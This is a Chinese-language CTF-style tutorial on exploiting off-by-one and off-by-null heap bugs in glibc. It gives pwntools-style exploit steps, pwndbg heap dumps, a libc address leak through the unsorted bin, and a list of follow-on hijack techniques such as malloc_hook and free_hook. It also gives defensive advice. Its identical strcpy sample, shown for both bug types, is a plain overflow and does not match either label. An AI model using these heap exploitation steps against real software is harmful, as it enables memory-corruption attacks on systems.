pwn的堆中如何使用off by one 和off by null的详细解析以及每一步的调试过程
字数 1397 2025-08-22 12:23:30
Off-by-One 和 Off-by-Null 漏洞详解与利用
1. Off-by-One 漏洞
1.1 漏洞介绍
Off-by-One 是一种常见的边界条件错误,发生在代码对数组或缓冲区的处理中。当程序在处理边界条件时犯了一个字节的错误,导致访问超出范围的内存时,就会产生这种漏洞。
1.2 漏洞机制
- 通常发生在循环或字符串操作中,边界条件判断错误
- 允许攻击者修改超出缓冲区边界的一个字节
- 可能导致程序崩溃、数据损坏或执行任意代码
1.3 示例代码
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[10];
// 漏洞:没有正确处理输入的长度
strcpy(buffer, input);
}
int main() {
char large_input[20] = "This is a long input";
vulnerable_function(large_input);
return 0;
}
1.4 堆利用详细过程
1.4.1 初始堆布局
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5aae7024e000
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x5aae7024e020
Size: 0xa0 (with flag bits: 0xa1)
Allocated chunk
Addr: 0x5aae7024e0c0
Size: 0x00 (with flag bits: 0x00)
1.4.2 创建堆块
add(0x18) #chunk0
add(0x10) #chunk1
add(0x90) #chunk2
add(0x10) #chunk3
1.4.3 利用Off-by-One修改size
edit(0, (0x18+1), b'a'*0x10 + p64(0x20) + p8(0xa1))
修改后堆布局:
0x5aae7024e000: 0x0000000000000000 0x0000000000000021
0x5aae7024e010: 0x6161616161616161 0x6161616161616161
0x5aae7024e020: 0x0000000000000020 0x00000000000000a1 <-- 修改为0xa1
1.4.4 伪造堆块结构
edit(2, 0x80, p64(0)*14 + p64(0xa0) + p64(0x21))
修改后堆布局:
0x5e99ad4010c0: 0x00000000000000a0 0x0000000000000021 <-- fake chunk
1.4.5 释放chunk1
delete(1)
chunk1进入unsorted bin:
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x56c56fb79020
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x7f589a7c4b78
bk: 0x7f589a7c4b78
1.4.6 重新申请chunk
add(0x90) #chunk overlap
1.4.7 恢复chunk2的size
edit(1, 0x20, p64(0)*2 + p64(0x20) + p64(0xa1))
1.4.8 释放chunk2泄露libc
delete(2)
show(1)
p.recv(0x20)
libcBase = u64(p.recv(6).ljust(8, b'\x00')) - 0x3c4b78
1.5 利用总结
- 通过Off-by-One修改chunk1的size字段
- 伪造chunk结构绕过检查
- 释放修改后的chunk进入unsorted bin
- 重新申请chunk造成堆块重叠
- 恢复原始size并释放另一个chunk
- 通过show功能泄露libc地址
2. Off-by-Null漏洞
2.1 漏洞介绍
Off-by-Null漏洞是指程序在处理数据时,错误地将一个字节设置为NULL(0x00)。这种漏洞通常发生在字符串操作中,当程序错误地截断字符串或没有正确处理字符串终止符时。
2.2 漏洞机制
- 通常发生在字符串操作函数中
- 错误地将一个字节设置为NULL
- 在堆利用中,常用于修改size字段的最低字节为0
2.3 示例代码
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[10];
// 漏洞:没有正确处理输入的长度
strcpy(buffer, input);
}
int main() {
char large_input[20] = "This is a long input";
vulnerable_function(large_input);
return 0;
}
2.4 利用方法
2.4.1 典型利用场景
- 将size字段从0x100修改为0x00(清除了PREV_INUSE位)
- 前一个chunk会被认为是free状态
- 启用prev_size字段,可以伪造prev_size造成堆块重叠
2.4.2 利用条件
- 适用于glibc 2.29以前的版本
- unlink时没有检查prev_size与对应chunk大小是否一致
2.5 利用总结
- 通过Off-by-Null修改size字段的最低字节
- 清除PREV_INUSE位使前一个chunk被认为是free状态
- 伪造prev_size字段
- 利用unlink或其他技术造成堆块重叠
- 进一步实现信息泄露或控制流劫持
3. 防御措施
- 严格检查所有数组和缓冲区操作的边界条件
- 使用安全的字符串处理函数(如strncpy代替strcpy)
- 启用堆保护机制(如GNU libc的防护措施)
- 使用现代编译器的安全特性(如FORTIFY_SOURCE)
- 定期进行代码审计和安全测试
4. 扩展利用技术
- 结合unlink技术实现任意地址写
- 通过堆块重叠泄露敏感信息
- 劫持malloc_hook或free_hook控制程序流
- 利用tcache机制实现快速利用
- 结合其他漏洞(如UAF)实现更复杂的攻击
5. 参考工具
- pwndbg - 强大的GDB插件,用于堆调试
- gef - 另一个流行的GDB插件
- libc-database - 用于快速查找libc偏移
- one_gadget - 查找libc中的execve片段
- ropper - ROP链构造工具